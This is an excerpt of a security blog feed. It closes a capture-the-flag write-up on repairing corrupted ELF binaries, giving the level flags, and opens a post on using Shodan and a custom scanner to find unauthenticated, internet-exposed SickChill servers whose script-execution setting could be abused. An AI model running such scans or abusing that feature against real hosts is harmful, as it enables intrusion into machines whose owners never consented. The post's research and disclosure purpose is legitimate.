0x4006eb:       &quot;6c&quot;
0x4006ee:       &quot;df&quot;
0x4006f1:       &quot;88&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Clearly it is the source of the 16 different bytes, let’s use the order as it is laid out in memory:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;binary@binary-VirtualBox:~/code/chapter5&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./oracle 034fc4f6a536f2bf74f8d6d3816cdf88
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
| Level 2 completed, unlocked lvl3         |
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
Run oracle with &lt;span class=&quot;nt&quot;&gt;-h&lt;/span&gt; to show a hint
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;level-3&quot;&gt;Level 3&lt;/h3&gt;

&lt;p&gt;The binary created for the third level is called lvl3.&lt;/p&gt;

&lt;p&gt;If we check what file this is:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;binary@binary-VirtualBox:~/code/chapter5&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;file lvl3 
lvl3: ERROR: ELF 64-bit LSB executable, Motorola Coldfire, version 1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Novell Modesto&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; error reading &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Invalid argument&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It seems that the file is corrupted. Using readelf to parse the header we see:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;binary@binary-VirtualBox:~/code/chapter5&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;readelf &lt;span class=&quot;nt&quot;&gt;-h&lt;/span&gt; lvl3
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 0b 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2&lt;span class=&quot;s1&quot;&gt;&apos;s complement, little endian
  Version:                           1 (current)
  OS/ABI:                            Novell - Modesto               # This is probably broken
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Motorola Coldfire              # This is probably broken
  Version:                           0x1
  Entry point address:               0x4005d0
  Start of program headers:          4022250974 (bytes into file)   # This is definitely broken
  Start of section headers:          4480 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         29
  Section header string table index: 28
readelf: Error: Reading 0x1f8 bytes extends past end of file for program headers
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, at the moment we can see three fields most likely corrupted:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The OS/ABI.&lt;/li&gt;
  &lt;li&gt;The machine type.&lt;/li&gt;
  &lt;li&gt;The program headers table address.&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;binary@binary-VirtualBox:~/code/chapter5&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;xxd lvl3 | &lt;span class=&quot;nb&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 4
00000000: 7f45 4c46 0201 010b 0000 0000 0000 0000  .ELF............
00000010: 0200 3400 0100 0000 d005 4000 0000 0000  ..4.......@.....
00000020: dead beef 0000 0000 8011 0000 0000 0000  ................
00000030: 0000 0000 4000 3800 0900 4000 1d00 1c00  ....@.8...@.....
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So we need to change:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;0b -&amp;gt; 00 byte 8. (OS/ABI version)&lt;/li&gt;
  &lt;li&gt;34 -&amp;gt; 3e byte 19 (Machine)&lt;/li&gt;
  &lt;li&gt;dead beef -&amp;gt; 4000 0000 on byte 32-40 (Program Header address)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After the changes the header looks like this:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;binary@binary-VirtualBox:~/code/chapter5&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;xxd test3 | &lt;span class=&quot;nb&quot;&gt;head&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 4
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 d005 4000 0000 0000  ..&amp;gt;.......@.....
00000020: 4000 0000 0000 0000 8011 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0900 4000 1d00 1c00  ....@.8...@.....
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: To make the changes I have personally used hexedit command. Using vim with xxd (:%!xxd) is also possible.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;After making this change, I tried to disassemble the program to verify what the code actually does, but the .text section
did not show up. The section header table is probably also corrupted somehow.&lt;/p&gt;

&lt;p&gt;Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readelf -S&lt;/code&gt; to print the section information we can see:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[14] .text             NOBITS           0000000000400550  00000550
       00000000000001f2  0000000000000000  AX       0     0     16
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The .text section is marked as NOBITS instead of PROGBITS. We need therefore to change the type of .text in the section header
table. First, we need to find it in it.&lt;/p&gt;

&lt;p&gt;From the header we can see that the Section Headers start 4480 bytes into the file. We know also that each entry is 64 bytes
and that .text is the 14th section starting from 0 (since there is an empty section).&lt;/p&gt;

&lt;p&gt;4480+(64x14)=5376 Should give us the address of the beginning of .text section header.
If we convert 5376 in hexadecimal we get 1500.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;00001500: 8d00 0000 0800 0000 0600 0000 0000 0000  ................
00001510: 5005 4000 0000 0000 5005 0000 0000 0000  P.@.....P.......
00001520: f201 0000 0000 0000 0000 0000 0000 0000  ................
00001530: 1000 0000 0000 0000 0000 0000 0000 0000  ................
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If the calculations are correct, these 64 bytes are the header of the .text section.
From the ABI document or from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;man elf 5&lt;/code&gt; we see that a section header has the following structure.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;           typedef struct {
               uint32_t   sh_name;
               uint32_t   sh_type;
               uint64_t   sh_flags;
               Elf64_Addr sh_addr;
               Elf64_Off  sh_offset;
               uint64_t   sh_size;
               uint32_t   sh_link;
               uint32_t   sh_info;
               uint64_t   sh_addralign;
               uint64_t   sh_entsize;
           } Elf64_Shdr;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first 4 bytes are the name of the section, then the next 4 bytes are the type of section. In this case the current 
type bytes are:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0800 0000 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Which makes sense since 8 corresponds to NOBITS. The code for PROGBITS is 1, so we change:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;0800 0000 -&amp;gt; 0100 0000&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Using readelf now confirms that .text is NOBITS.&lt;/p&gt;

&lt;p&gt;Running the program now leads to:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;binary@binary-VirtualBox:~/code/chapter5&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./lvl3 
3a5c381e40d2fffd95ba4452a0fb4a40  ./lvl3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Feeding this flat to the oracle:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;binary@binary-VirtualBox:~/code/chapter5&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./oracle 3a5c381e40d2fffd95ba4452a0fb4a40
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
| Level 3 completed, unlocked lvl4         |
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
Run oracle with &lt;span class=&quot;nt&quot;&gt;-h&lt;/span&gt; to show a hint
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;level-4&quot;&gt;Level 4&lt;/h3&gt;

&lt;p&gt;The binary for the fourth level is called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lvl4&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This level was extremely easy or very lucky. Among the first routing checks that I do on new binaries, I usually run the program
with &lt;em&gt;strace&lt;/em&gt; and &lt;em&gt;ltrace&lt;/em&gt; to check what syscalls and library functions are called, respectively.&lt;/p&gt;

&lt;p&gt;For this level, it was enough to run &lt;em&gt;ltrace&lt;/em&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;binary@binary-VirtualBox:~/code/chapter5&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ltrace ./lvl4
__libc_start_main&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0x4004a0, 1, 0x7ffeea9555d8, 0x400650 &amp;lt;unfinished ...&amp;gt;
setenv&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;FLAG&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;656cf8aecb76113a4dece1688c61d0e7&quot;&lt;/span&gt;..., 1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                                         &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 0
+++ exited &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;status 0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; +++
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It is clear that the program sets some environment variable as the flag.&lt;/p&gt;

&lt;p&gt;Just taking that flag:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;binary@binary-VirtualBox:~/code/chapter5&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./oracle 656cf8aecb76113a4dece1688c61d0e7
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
| Level 4 completed, unlocked lvl5         |
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
Run oracle with &lt;span class=&quot;nt&quot;&gt;-h&lt;/span&gt; to show a hint
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;next-levels&quot;&gt;Next levels&lt;/h3&gt;

&lt;p&gt;I am going to make a final post about the next levels, I will attempt to crack level 5 soon. I am not sure how many levels there
are in total, but running oracle with ltrace:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;binary@binary-VirtualBox:~/code/chapter5$ ltrace ./oracle 656cf8aecb76113a4dece1688c61d0e4
__libc_start_main(0x400c00, 2, 0x7ffc78bb7318, 0x401570 &amp;lt;unfinished ...&amp;gt;
strlen(&quot;656cf8aecb76113a4dece1688c61d0e4&quot;...)                                                                                                      = 32
crypt(&quot;656cf8aecb76113a4dece1688c61d0e4&quot;..., &quot;$1$pba&quot;)                                                                                             = &quot;$1$pba$NIzB29sPpsOXx7G7U/pQi0&quot;
strcmp(&quot;$1$pba$NIzB29sPpsOXx7G7U/pQi0&quot;, &quot;$1$pba$cC.J56kTHt0f2BeCmPY0S0&quot;)                                                                           = -21
strcmp(&quot;$1$pba$NIzB29sPpsOXx7G7U/pQi0&quot;, &quot;$1$pba$ThmQr44j/SzgLnGGr3z0t.&quot;)                                                                           = -6
strcmp(&quot;$1$pba$NIzB29sPpsOXx7G7U/pQi0&quot;, &quot;$1$pba$bVbBZVMYF.yq/D95S14hi/&quot;)                                                                           = -20
strcmp(&quot;$1$pba$NIzB29sPpsOXx7G7U/pQi0&quot;, &quot;$1$pba$eZVsO8xkHTfWXQJlVj3vF.&quot;)                                                                           = -23
strcmp(&quot;$1$pba$NIzB29sPpsOXx7G7U/pQi0&quot;, &quot;$1$pba$9dVFs3IW334QFtvvh1ZkF0&quot;)                                                                           = 21
strcmp(&quot;$1$pba$NIzB29sPpsOXx7G7U/pQi0&quot;, &quot;$1$pba$l26Zuo8AFAT.rHXQQ0FTX0&quot;)                                                                           = -30
strcmp(&quot;$1$pba$NIzB29sPpsOXx7G7U/pQi0&quot;, &quot;$1$pba$KjeCu9tJUVtd24nC4g75L/&quot;)                                                                           = 3
strcmp(&quot;$1$pba$NIzB29sPpsOXx7G7U/pQi0&quot;, &quot;$1$pba$mMAAETuTP0ixunRdwG9PT0&quot;) 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I can see that there are 8 comparisons, probably the input flag is checked against the flag of each level,
so I would say that there are 8 levels in this CTF.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;For any correction, feedback or question feel free to drop a mail to &lt;strong&gt;security&lt;/strong&gt;[at]coolbyte[dot]eu.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Practical Binary Analysis, Dennis Andriesse, Nostarch 2018 &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        <pubDate>Sat, 19 Jan 2019 00:00:00 +0000</pubDate>
        <link>https://coolbyte.eu/2019/practical-binary-analysis-challenge/</link>
        <guid isPermaLink="true">https://coolbyte.eu/2019/practical-binary-analysis-challenge/</guid>
        
        
      </item>
    
      <item>
        <title>SickSploit - Finding and exploiting open SickChill instances.</title>
        <description>&lt;p&gt;Some time ago I got inspired by one post in &lt;a href=&quot;https://www.reddit.com/r/netsec/&quot;&gt;/r/netsec&lt;/a&gt; about &lt;a href=&quot;https://www.reddit.com/r/netsec/comments/a5ah3v/knowledge_is_power_exploring_over_1800_calibre/&quot;&gt;exposed Calibre instances&lt;/a&gt;
which really captured my attention and my interest. Being a beginner myself, I decided to look around me to find something similar.
Since I setup my homelab few months ago I have played with different programs, so I decided that I would start from there. After a bit of thought,
I have decided to focus on &lt;a href=&quot;https://sickrage.ca/&quot;&gt;Sickrage&lt;/a&gt; which, to be fair, when I had installed  was
 not split yet into Sickrage and &lt;a href=&quot;https://sickchill.github.io/&quot;&gt;SickChill&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Anyway, here I am writing a posts about my findings and results with SickChill (mainly) or some slightly older
 version of SickRage.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;disclaimer&quot;&gt;Disclaimer&lt;/h3&gt;

&lt;p&gt;Everything that has been written or discussed here has purely educational purpose. I do not support, encourage, provide 
resource for or favour the use or misuse of the information here provided to perform malicious or illegal acts.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: The code to which I refer in this post is available on &lt;a href=&quot;https://github.com/Sudneo/sicksploit&quot;&gt;https://github.com/Sudneo/sicksploit&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;SickChill and SickRage are two forks of SickBeard, an older program, and all of them provide the same functionality: automatically
downloading Torrents/Usenet files for TV Series. Once the program is installed on a machine, Sick* can look for episodes
of the TV Series chosen and their subtitles, can download them and can rename and organize the files.
I focused mainly on SickChill since this is a version of the now forked project which is much more similar to how SickRage was when
I first installed than the current SickRage.&lt;/p&gt;

&lt;h3 id=&quot;knock-knock-is-sickchill-home&quot;&gt;Knock, Knock, is SickChill home?&lt;/h3&gt;

&lt;p&gt;The first step of my research was a simple experiment to answer a simple question: &lt;em&gt;is this software actually used?&lt;/em&gt; And if it
is, &lt;em&gt;do people run it on public hosts?&lt;/em&gt; 
In order to find this out I decided to use &lt;a href=&quot;https://www.shodan.io&quot;&gt;Shodan&lt;/a&gt; (finally a good chance to use the 5 Euros subscription
grabbed last Black Friday), but before I could do this, I had to generate an effective query.
I fired up my SickChill instance and checked a sample request to the service. The request/response looked as follows:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/post3-1.png&quot; alt=&quot;Example request and response from SickChill&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The application does not seem to set any particular header that can be used to uniquely identify it. Also, the port on which 
it runs is not really fixed: 8081 is a popular choice, but so is 8083 and maybe other ports as well. 
A relatively identifying characteristic is the Server used: &lt;em&gt;Tornado Server&lt;/em&gt;. This is a Python webserver, and although it seems 
to have a decent adoption rate, I decided to use this together with the constraint that the server should redirect to &lt;em&gt;/home&lt;/em&gt;,
as this is the default behavior for SickChill/Rage.&lt;/p&gt;

&lt;p&gt;I run Shodan with the query:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Server: TornadoServer and Location: /home&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;At the present moment &lt;strong&gt;1874&lt;/strong&gt; hits pop up. I understand that 1874 is not a huge number compared to the billions of network
enabled devices on the internet, but it still represents a decent amount of possibly exposed machines, and definitely it 
represents a good motivation to try to exploit this software.&lt;/p&gt;

&lt;h3 id=&quot;improving-the-target-acquisition&quot;&gt;Improving the target acquisition&lt;/h3&gt;

&lt;p&gt;Among the 1874 results of Shodan there are false positives, broken/misconfigured instances and so on. In order to improve
 the quality of the results, I have then written a simple script that not only finds the
results from Shodan, but queries the machines found for a specific page that would not be accessible without permissions and proper configuration, and reports
the instance as a match only if this request succeeds.&lt;/p&gt;

&lt;p&gt;I called the small tool &lt;a href=&quot;https://github.com/Sudneo/sicksploit/blob/master/sickown.py&quot;&gt;SickOwn&lt;/a&gt; and it can be found in the project repo.&lt;/p&gt;

&lt;h3 id=&quot;sickown-result&quot;&gt;SickOwn result&lt;/h3&gt;

&lt;p&gt;In oder to run SickOwn it is necessary a Shodan API key. If you have one, then you can run the script simply with:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python sickown.py SHODAN_API_KEY
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Example usage:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ python sickown.py -h
usage: sickown.py [-h] [-t TIMEOUT] API

Use Shodan.io to track down vulnerable instances of SickChill/Rage

positional arguments:
  API                   The API_KEY for Shodan

optional arguments:
  -h, --help            show this help message and exit
  -t TIMEOUT, --timeout TIMEOUT
                        The timeout to use for the HTTP requests to the
                        targets found
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At the moment the project uses Python2.7, I will update it soon to Python3.6 as well.&lt;/p&gt;

&lt;p&gt;The tool writes IP:PORT combination that passed the verification test, and are therefore considered exposed instances of SickChill,
in a file called sicklist.txt.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/usr/bin/python2.7 /sicksploit/sickown.py API_KEY
[+] Looking for targets using Shodan API.
[+] Query = Server: TornadoServer and Location: /home
[+] Found 1874 targets.
[+] Request succeeded. http://XX.XX.XX.XX:8081 is up.
[+] Request succeeded. http://XX.XX.XX.XX:8081 is up.
[+] Request succeeded. http://XX.XX.XX.XX:8083 is up.
[+] Request succeeded. http://XX.XX.XX.XX:8081 is up.
[+] Request succeeded. http://XX.XX.XX.XX:8081 is up.
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A full run of this script, as of today, found &lt;strong&gt;836&lt;/strong&gt; confirmed open instances. This result is obtained with a timeout of 
3 Seconds for the request(s); it is likely that at least a portion of these machines are geographically very far from the place
where I am running the script from, therefore using a longer timeout will likely lead to more hits. In fact, running the script
using a timeout of 10 Seconds leads to &lt;strong&gt;1128&lt;/strong&gt; open instances.&lt;/p&gt;

&lt;h3 id=&quot;now-what&quot;&gt;Now What?&lt;/h3&gt;

&lt;p&gt;The question is legitimate: now what? Now we know that there are many open instances of this program, meaning that there must be
somewhere, in some corner of the planet, someone with bad intentions that wants to exploit it. For this, it might be worth
to find some vulnerability myself and report it to get it fixed. The chances that the people who installed a service like this 
on a public host and exposed it on a public interface, without configuring authentication for it, would upgrade the service are quite
low, but I think it’s still worth a try.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full Disclosure:&lt;/strong&gt; I didn’t even look for classic web vulnerabilities such as XSS or the kind, I suck at web security, 
I am not interested in it and I did not want to waste my time. However, I looked around and started to think what functionality
could possibly be exploited or abused.&lt;/p&gt;

&lt;h3 id=&quot;finding-the-vulnerability&quot;&gt;Finding the vulnerability&lt;/h3&gt;

&lt;p&gt;SickChill does not offer much room in terms of user input, the application flow is pretty simple: besides the general configuration
the user searches some TV Series by name, Sick* looks for it with its own logic, the users adds it, chooses some options for the download 
(most of the time predefined) and that’s it. 
I decided then to focus on the configuration, which is the place where I - as a user - can provide more input. Among the many options
there is one that stands out: Extra Post Processing Script.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/post3-2.png&quot; alt=&quot;Extra post processing scripts.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now, to understand what this is, there is a link to a &lt;a href=&quot;https://github.com/SickChill/SickChill/wiki/Post-Processing#extra-scripts&quot;&gt;wiki&lt;/a&gt;,
 which is the Github page of the project.&lt;/p&gt;

&lt;p&gt;The wiki says:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Extra Scripts:

Examples:

    Windows: C:\Python27\pythonw.exe C:\Script\test.py
    Linux: python /Script/test.py

Use single back slashes, SickChill/Python will escape them and make them double.
Additional scripts can be used, separated by |
Scripts are called after SickChill&apos;s own post-processing.

Parameters that are passed:

    argv[0]: File-path to Script
    argv[1]: Final full path to the episode file
    argv[2]: Original full path of the episode file
    argv[3]: Show indexer ID
    argv[4]: Season number
    argv[5]: Episode number
    argv[6]: Episode Air Date
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I understand that the functionality is provided to allow users to &lt;em&gt;do something&lt;/em&gt; after the built-in post processing of an episode, and 
in fact all useful data to post process is by default passed to the script selected. I decided to go checking how this functionality
is implemented in practice.&lt;/p&gt;

&lt;p&gt;The code for this is directly taken from SickBeard, the oldest tool, and can be found in &lt;a href=&quot;https://github.com/SickChill/SickChill/blob/master/sickbeard/postProcessor.py&quot;&gt;postProcessor.py&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The function which specifically implements this is as follows:&lt;/p&gt;
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;_run_extra_scripts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ep_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;[...]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sickbeard&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EXTRA_SCRIPTS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;file_path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;file_path&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;[...]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Code&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;that&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sets&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;the&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;episode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;related&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;arguments&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;curScriptName&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sickbeard&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EXTRA_SCRIPTS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isinstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;curScriptName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;six&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text_type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;curScriptName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;curScriptName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sickbeard&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SYS_ENCODING&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
